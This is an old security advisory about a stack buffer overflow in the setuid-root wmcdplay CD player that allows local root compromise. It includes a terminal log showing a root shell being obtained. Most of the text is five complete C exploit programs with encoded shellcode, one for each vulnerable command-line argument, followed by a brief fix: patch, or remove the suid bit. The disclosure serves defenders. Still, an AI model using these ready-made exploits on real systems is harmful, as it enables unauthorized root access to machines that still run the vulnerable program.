COMMAND

    wmcdplay

SYSTEMS AFFECTED

    Any system which has wmcdplay installed as setuid root

PROBLEM

    Following is  based on  TESO Security  Advisory.   A vulnerability
    within the  wmcdplay CD  playing application  for the  WindowMaker
    desktop  has  been  discovered.   It  allows local root compromise
    through arbitrary code execution.

    Affected are  any system  which has  wmcdplay installed  as setuid
    root.   Though on  most popular  system distributions  wmcdplay is
    not  installed  by  default,  the  optional  installation of it is
    always setuid root,  hence affected by  the problem.   Please note
    that wmcdplay doesn't require WindowMaker as its desktop, so  even
    if you haven't installed WindowMaker you may be vulnerable.  Among
    the vulnerable distributions (if the package is installed) are the
    following systems:

        Debian/GNU Linux 2.1, wmcdplay 1.0beta1-2
        Halloween Linux Version 4

    Tests:

        liane:[bletchley]> id -a
        uid=501(bletchley) gid=501(bletchley) groups=501(bletchley)
        liane:[bletchley]> cd wmhack/
        liane:[wmhack]> uname -a
        Linux liane.c-skills.de 2.2.13-13 #21 Thu Mar 2 10:36:13 WET 2000 i686 unknown
        liane:[wmhack]> stat `which wmcdplay`
          File: "/usr/X11R6/bin/wmcdplay"
          Size: 38372        Filetype: Regular File
          Mode: (4755/-rwsr-xr-x)         Uid: (    0/    root)  Gid: (    0/    root)
        Device:  3,1   Inode: 213954    Links: 1
        Access: Sat Mar  4 14:21:43 2000(00004.20:34:20)
        Modify: Thu Nov 11 09:59:00 1999(00119.00:57:03)
        Change: Fri Mar  3 15:31:42 2000(00005.19:24:21)
        liane:[wmhack]> cc wmexp.c
        liane:[wmhack]> ./a.out
        You can also add an offset to the command-line. 40 worked for me on the console.
        Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer
        Respect other users privacy!
        wmcdplay : Tried to find artwork file, but failed.
        Segmentation fault
        liane:[wmhack]> ./a.out 40
        Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer
        Respect other users privacy!
        wmcdplay : Tried to find artwork file, but failed.
        Illegal instruction
        liane:[wmhack]> ./a.out 140
        Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer
        Respect other users privacy!
        wmcdplay : Tried to find artwork file, but failed.
        sh-2.03# id -a
        uid=0(root) gid=501(bletchley) groups=501(bletchley)
        sh-2.03#

    Through  exploitation  of  the  buffer  overflow within wmcdplay a
    local  user  can  elevate  his  privileges to the superuser level.
    Once this  is archived  the attacker  has complete  access to  the
    system, allowing compromitation of all data stored on it.

    Due  to   inaccurate  bounds-checking   a  sprintf()   call   with
    commandline arguments, it can be used to overflow a  stack-located
    buffer.   By  setting  proper  values  and  avoiding zero-bytes an
    attacker can execute arbitrary code.

    The bug-discovery  and the  demonstration programs  are due  to S.
    Krahmer.  The shell-code is due to Stealth.  For exploit, go to:

        http://teso.scene.at/
        http://www.cs.uni-potsdam.de/homepages/students/linuxer/

    Larry Cashdollar added  following.  These  are some more  exploits
    for  the  wmcdplay  originaly  advisory  above.   Larry  wrote the
    exploits for most of the arguments wmcdplay accepts:

        1   -f artwork_file     load the specified artwork file
        2   -l led_color        use the specified color for led displays
        3   -b back_color       use the specified color for backgrounds
        4   -d cd_device        use specified device  (rather than /dev/cdrom)
        5   -position position  set window position   (see X manual pages)

        1. Overflows at buffersize 256.
        2. Overflows at buffersize 534.
        3. Overflows at buffersize 786. hmmm.
        4. Overflows at buffersize 786. hmmm.
        5. Overflows at buffersize 1300.


    <------------------------ back_color exploit -------------->
    /*Overflows the -b arg (back_color) buffer in wmcdplay due to a bad sprintf
     *call. This seems to be how most of the command line arguments are called.
     *Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
     *$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
     *offset 400 worked for me on Mandrake 7.0
     *Credit: TESO Crew http://teso.scene.at/ for finding the original hole.
     */
    
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #define NOP 0x90                /*no operation skip to next instruction. */
    #define LEN 786                 /*our buffersize. */
    
    
    char shellcode[] =              /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
    
    "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
    "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
    "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
    "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
    "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
    "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
      "\xc2\x91";
    
    
    /*Nab the stack pointer to use as an index into our nop's*/
    long
    get_sp ()
    {
      __asm__ ("mov %esp, %eax");
    }
    
    int
    main (int argc, char *argv[])
    {
      char buffer[LEN];
      int i;
    
      long retaddr = get_sp ();
    
    /*Fill the buffer with our new address to jump to esp + offset */
      for (i = 0; i < LEN; i += 4)
        *(long *) &buffer[i] = retaddr + atoi (argv[1]);
    
    /*copy the NOPs  in to the buffer leaving space for shellcode and pointers*/
    
      printf ("Jumping to address %x BufSize %d\n", retaddr + atoi (argv[1]), LEN);
    
      for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
        *(buffer + i) = NOP;
    
    /*copy the shell code into the buffer*/
      memcpy (buffer + i, shellcode, strlen (shellcode));
    
      execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-b", buffer, 0);
    
    }
    <------------------------ back_color exploit -------------->
    
    <------------------------ cd_device exploit --------------->
    
    
    /*Overflows the -d arg (cd device) buffer in wmcdplay due to a bad
     *sprintf call.
     *This seems to be how most of the command line arguments are called.
     *Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
     *$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
     *offset 400 worked for me on Mandrake 7.0
     *Credit: TESO Crew http://teso.scene.at/ for finding the original -d hole.
     */
    
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #define NOP 0x90                /*no operation skip to next instruction. */
    #define LEN 1045                /*our buffersize. */
    
    char shellcode[] =              /*generic shellcode with out '/' ie not mine */
    
    "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x68\x80\x36\x01\x46\xe2\xfa"
    "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
    "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xbb\x11"
    "\x01\x01\x8c\xba\x2b\xee\xfe\xfe\x30\xd3\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c"
    "\xf9\xb9\x16\x01\x01\x01\x88\xd7\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
    "\x01\x01\x88\xff\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\x88\xed\x5c\xc2\0x91\0x91\0x91";
    /*Nab the stack pointer to use as an index into our nop's*/
    long
    get_sp ()
    {
    
      __asm__ ("mov %esp, %eax");
    
    }
    
    int
    main (int argc, char *argv[])
    {
      char buffer[LEN];
      int i;
    
      long retaddr = get_sp ();
    
    /*Fill the buffer with our new address to jump to esp + offset */
      for (i = 0; i < LEN; i += 4)
        *(long *) &buffer[i] = retaddr + atoi (argv[1]);
    
    /*copy the NOPs  in to the buffer leaving space for shellcode and pointers*/
    
      printf ("Jumping to address %x, BufSize %d\n", retaddr + atoi (argv[1]), LEN);
    
      for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
        *(buffer + i) = NOP;
    
    /*copy the shell code into the buffer*/
      memcpy (buffer + i, shellcode, strlen (shellcode));
      execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-d",
    buffer, 0);
    
    }
    
    <------------------------ cd_device exploit --------------->
    
    <------------------------ art_file exploit ---------------->
    
    /*Overflows the -f arg (artfile) buffer in wmcdplay due to a bad
     *sprintf  call.
     *This seems to be how most of the command line arguments are called.
     *Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
     *$:> gcc wmcdplay-fexp.c -o wmf ;./wmf <offset>
     *offset 400 worked for me on Mandrake 7.0
     *Credit: TESO Crew http://teso.scene.at/ for finding the original hole.
     */
    
    
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #define NOP 0x90                /*no operation skip to next instruction. */
    #define LEN 256                 /*our buffersize. */
    
    
    char shellcode[] =              /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
    
    "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
    "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
    "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
    "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
    "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
    "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
      "\xc2\x91";
    
    
    /*Nab the stack pointer to use as an index into our nop's*/
    long
    get_sp ()
    {
      __asm__ ("mov %esp, %eax");
    }
    
    int
    main (int argc, char *argv[])
    {
      char buffer[LEN];
      int i;
    
      long retaddr = get_sp ();
    
    /*Fill the buffer with our new address to jump to esp + offset */
      for (i = 0; i < LEN; i += 4)
        *(long *) &buffer[i] = retaddr + atoi (argv[1]);
    
    /*copy the NOPs  in to the buffer leaving space for shellcode and pointers*/
    
      printf ("Jumping to address %x BufSize %d\n", retaddr + atoi (argv[1]), LEN);
    
      for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
        *(buffer + i) = NOP;
    
    /*copy the shell code into the buffer*/
      memcpy (buffer + i, shellcode, strlen (shellcode));
    
      execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-f", buffer, 0);
    
    }
    
    <------------------------ cd_device exploit -------------->
    
    <------------------- led_color exploit-------------------->
    
    /*Overflows the -l arg (led_color) buffer in wmcdplay due to a bad
     *sprintf  call.
     *This seems to be how most of the command line arguments are called.
     *Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
     *$:> gcc wmcdplay-lexp.c -o wml ;./wml <offset>
     *offset 390 worked for me on Mandrake 7.0
     *Credit: TESO Crew http://teso.scene.at/ for finding the original -d hole.
     */
    
    
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #define NOP 0x90                /*no operation skip to next instruction. */
    #define LEN 534                 /*our buffersize. */
    
    
    char shellcode[] =              /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
    
    "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
    "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
    "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
    "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
    "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
    "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
      "\xc2\x91";
    
    
    /*Nab the stack pointer to use as an index into our nop's*/
    long
    get_sp ()
    {
      __asm__ ("mov %esp, %eax");
    }
    
    int
    main (int argc, char *argv[])
    {
      char buffer[LEN];
      int i;
    
      long retaddr = get_sp ();
    
    /*Fill the buffer with our new address to jump to esp + offset */
      for (i = 0; i < LEN; i += 4)
        *(long *) &buffer[i] = retaddr + atoi (argv[1]);
    
    /*copy the NOPs  in to the buffer leaving space for shellcode and pointers*/
    
      printf ("Jumping to address %x BufSize %d\n", retaddr + atoi (argv[1]), LEN);
    
      for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
        *(buffer + i) = NOP;
    
    /*copy the shell code into the buffer*/
      memcpy (buffer + i, shellcode, strlen (shellcode));
    
      execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-l", buffer, 0);
    
    }
    
    <------------------------ led_color exploit--------------->
    
    <------------------------ position exploit --------------->
    
    /*Overflows the -position arg (position) buffer in wmcdplay due to a
     *bad sprintf call.
     *This seems to be how most of the command line arguments are called.
     *Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
     *$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
     *offset 400 worked for me on Mandrake 7.0
     *Credit: TESO Crew http://teso.scene.at/ for finding the original -d hole.
     */
    
    
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #define NOP 0x90                /*no operation skip to next instruction. */
    #define LEN 1300                /*our buffersize. */
    
    
    char shellcode[] =              /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
    
    "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
    "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
    "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
    "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
    "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
    "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
      "\xc2\x91";
    
    
    /*Nab the stack pointer to use as an index into our nop's*/
    long
    get_sp ()
    {
      __asm__ ("mov %esp, %eax");
    }
    
    int
    main (int argc, char *argv[])
    {
      char buffer[LEN];
      int i;
    
      long retaddr = get_sp ();
    
    /*Fill the buffer with our new address to jump to esp + offset */
      for (i = 0; i < LEN; i += 4)
        *(long *) &buffer[i] = retaddr + atoi (argv[1]);
    
    /*copy the NOPs  in to the buffer leaving space for shellcode and pointers*/
    
      printf ("Jumping to address %x BufSize %d\n", retaddr + atoi (argv[1]), LEN);
    
      for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
        *(buffer + i) = NOP;
    
    /*copy the shell code into the buffer*/
      memcpy (buffer + i, shellcode, strlen (shellcode));
    
      execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-position", buffer, 0);
    
    }
    <-------------------- position exploit ------------------->

SOLUTION

    The author and the distributor has been informed before.  A  patch
    is already available.   Short-timed just remove  the suid-bit;  it
    is not necessary.

    FreeBSD  does  not  install  this  port  setuid,  so  it  is   not
    vulnerable.  Unlike what original advisory implies Debian does not
    ship wmcdplay setuid root.